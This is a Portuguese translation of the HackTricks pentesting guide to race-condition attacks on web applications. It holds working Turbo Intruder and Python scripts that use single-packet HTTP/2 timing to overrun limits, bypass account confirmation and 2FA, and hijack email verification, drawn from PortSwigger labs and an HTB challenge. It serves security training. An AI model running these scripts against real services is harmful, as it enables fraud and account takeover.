hacktricks/pentesting-web/race-condition.md

429 lines
24 KiB
Markdown
Raw Normal View History

# Condição de Corrida
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=race-condition) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas** da comunidade **mais avançadas** do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
{% hint style="warning" %}
Para obter uma compreensão profunda desta técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
## Aprimorando Ataques de Condição de Corrida
O principal obstáculo para aproveitar as condições de corrida é garantir que múltiplas requisições sejam tratadas ao mesmo tempo, com **muita pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**.
Aqui você pode encontrar algumas técnicas para Sincronizar Requisições:
#### Ataque de Pacote Único HTTP/2 vs. Sincronização do Último Byte HTTP/1.1
* **HTTP/2**: Suporta o envio de duas requisições sobre uma única conexão TCP, reduzindo o impacto da variação de rede. No entanto, devido a variações do lado do servidor, duas requisições podem não ser suficientes para um exploit consistente de condição de corrida.
* **Sincronização do 'Último Byte' HTTP/1.1**: Permite o pré-envio da maior parte de 20-30 requisições, retendo um pequeno fragmento, que é então enviado junto, alcançando a chegada simultânea ao servidor.
**Preparação para Sincronização do Último Byte** envolve:
1. Enviar cabeçalhos e dados do corpo menos o byte final sem encerrar o fluxo.
2. Pausar por 100ms após o envio inicial.
3. Desabilitar TCP\_NODELAY para utilizar o algoritmo de Nagle para agrupar os quadros finais.
4. Pingar para aquecer a conexão.
O envio subsequente dos quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que não estão tipicamente envolvidos em ataques de RC.
### Adaptando-se à Arquitetura do Servidor
Compreender a arquitetura do alvo é crucial. Servidores front-end podem encaminhar requisições de maneira diferente, afetando o tempo. O aquecimento proativo da conexão do lado do servidor, através de requisições irrelevantes, pode normalizar o tempo das requisições.
#### Lidando com Bloqueio Baseado em Sessão
Frameworks como o manipulador de sessão do PHP serializam requisições por sessão, potencialmente obscurecendo vulnerabilidades. Utilizar diferentes tokens de sessão para cada requisição pode contornar esse problema.
#### Superando Limites de Taxa ou Recursos
Se o aquecimento da conexão for ineficaz, acionar intencionalmente os limites de taxa ou recursos dos servidores web através de um fluxo de requisições fictícias pode facilitar o ataque de pacote único, induzindo um atraso do lado do servidor propício para condições de corrida.
## Exemplos de Ataque
* **Tubo Intruder - ataque de pacote único HTTP2 (1 endpoint)**: Você pode enviar a requisição para **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), você pode alterar na requisição o valor que deseja forçar para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
<figure><img src="../.gitbook/assets/image (57).png" alt=""><figcaption></figcaption></figure>
Se você for **enviar valores diferentes**, você pode modificar o código com este que usa uma lista de palavras da área de transferência:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Se a web não suportar HTTP2 (apenas HTTP1.1), use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`.
{% endhint %}
* **Tubo Intruder - ataque de pacote único HTTP2 (Vários endpoints)**: Caso você precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` com algo como:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* Também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
* Para **limit-overrun**, você pode apenas adicionar a **mesma solicitação 50 vezes** no grupo.
* Para **connection warming**, você pode **adicionar** no **início** do **grupo** algumas **solicitações** para alguma parte não estática do servidor web.
* Para **delaying** o processo **entre** o processamento **de uma solicitação e outra** em 2 etapas de subestados, você pode **adicionar solicitações extras entre** ambas as solicitações.
* Para um RC de **multi-endpoint**, você pode começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
<figure><img src="../.gitbook/assets/image (58).png" alt=""><figcaption></figcaption></figure>
* **Script python automatizado**: O objetivo deste script é mudar o email de um usuário enquanto verifica continuamente até que o token de verificação do novo email chegue ao último email (isso porque no código estava vendo um RC onde era possível modificar um email, mas ter a verificação enviada para o antigo porque a variável que indicava o email já estava populada com o primeiro).\
Quando a palavra "objetivo" é encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Melhorando o Ataque de Pacote Único
Na pesquisa original, foi explicado que este ataque tem um limite de 1.500 bytes. No entanto, em [**este post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1.500 bytes do ataque de pacote único para a **limitação de janela de 65.535 B do TCP usando fragmentação na camada IP** (dividindo um único pacote em vários pacotes IP) e enviando-os em ordem diferente, o que permitiu evitar a reassemblagem do pacote até que todos os fragmentos chegassem ao servidor. Essa técnica permitiu que o pesquisador enviasse 10.000 requisições em cerca de 166ms.&#x20;
Note que, embora essa melhoria torne o ataque mais confiável em RC que requer centenas/milhares de pacotes para chegar ao mesmo tempo, pode também ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go têm uma configuração estrita de `SETTINGS_MAX_CONCURRENT_STREAMS` para 100, 128 e 250. No entanto, outros como NodeJS e nghttp2 têm isso ilimitado.\
Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP de uma única conexão TCP (limitando este ataque RC).
Você pode encontrar alguns exemplos usando essa técnica no repositório [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## BF Bruto
Antes da pesquisa anterior, esses eram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
* **Repetidor:** Confira os exemplos da seção anterior.
* **Intruso**: Envie a **requisição** para **Intruso**, defina o **número de threads** para **30** dentro do **menu de Opções** e selecione como payload **Payloads Nulos** e gere **30.**
* **Turbo Intruso**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **Metodologia RC**
### Limite-excesso / TOCTOU
Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitem o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado em [**este relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**este bug**](https://hackerone.com/reports/759247)**.**
Existem muitas variações desse tipo de ataque, incluindo:
* Resgatar um cartão-presente várias vezes
* Avaliar um produto várias vezes
* Sacar ou transferir dinheiro além do saldo da sua conta
* Reutilizar uma única solução CAPTCHA
* Contornar um limite de taxa anti-força bruta
### **Subestados ocultos**
Explorar condições de corrida complexas geralmente envolve aproveitar breves oportunidades para interagir com subestados de máquina ocultos ou **não intencionais**. Aqui está como abordar isso:
1. **Identificar Subestados Ocultos Potenciais**
* Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Foque em:
* **Armazenamento**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente.
* **Ação**: Procure operações que alterem dados existentes, que são mais propensas a criar condições exploráveis em comparação com aquelas que adicionam novos dados.
* **Chaveamento**: Ataques bem-sucedidos geralmente envolvem operações chaveadas no mesmo identificador, por exemplo, nome de usuário ou token de redefinição.
2. **Realizar Probing Inicial**
* Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade.
3. **Demonstrar a Vulnerabilidade**
* Reduza o ataque ao número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao tempo preciso envolvido.
### Ataques Sensíveis ao Tempo
A precisão no tempo das solicitações pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha com base em timestamps pode permitir tokens idênticos para solicitações simultâneas.
**Para Explorar:**
* Use temporização precisa, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade.
**Exemplo:**
* Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de tokens.
**Verifique isso** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **para tentar isso.**
## Estudos de caso de subestados ocultos
### Pagar e adicionar um Item
Verifique este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que você **não precisará pagar por isso**.
### Confirmar outros e-mails
A ideia é **verificar um endereço de e-mail e mudá-lo para um diferente ao mesmo tempo** para descobrir se a plataforma verifica o novo que foi alterado.
### Mudar e-mail para 2 endereços de e-mail baseados em Cookie
De acordo com [**esta pesquisa**](https://portswigger.net/research/smashing-the-state-machine), o Gitlab era vulnerável a uma tomada dessa forma porque poderia **enviar** o **token de verificação de e-mail de um e-mail para o outro e-mail**.
**Verifique isso** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **para tentar isso.**
### Estados ocultos do banco de dados / Bypass de Confirmação
Se **2 gravações diferentes** forem usadas para **adicionar** **informação** dentro de um **banco de dados**, há uma pequena porção de tempo onde **apenas os primeiros dados foram gravados** dentro do banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um pequeno tempo o **token para confirmar uma conta é nulo**.
Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail.
**Verifique isso** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para tentar isso.**
### Bypass 2FA
O seguinte pseudo-código é vulnerável a condição de corrida porque em um tempo muito pequeno a **2FA não é aplicada** enquanto a sessão é criada:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### Persistência eterna do OAuth2
Existem vários [**provedores de OAUth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitem que você crie um aplicativo e autentique usuários que o provedor registrou. Para isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAUth**.\
Até aqui, é apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_Aplicativo \<InsertCoolName> deseja acessar suas informações, você quer permitir?_"
#### Condição de Corrida em `authorization_code`
O **problema** aparece quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Então, esse **aplicativo abusa de uma Condição de Corrida no provedor de serviço OAUth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Atualização_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de que você aceitou o aplicativo para acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
#### Condição de Corrida em `Refresh Token`
Uma vez que você tenha **obtido um RT válido**, você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo que o usuário cancele as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos.**
## **RC em WebSockets**
Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**.
## Referências
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
* [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=race-condition) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}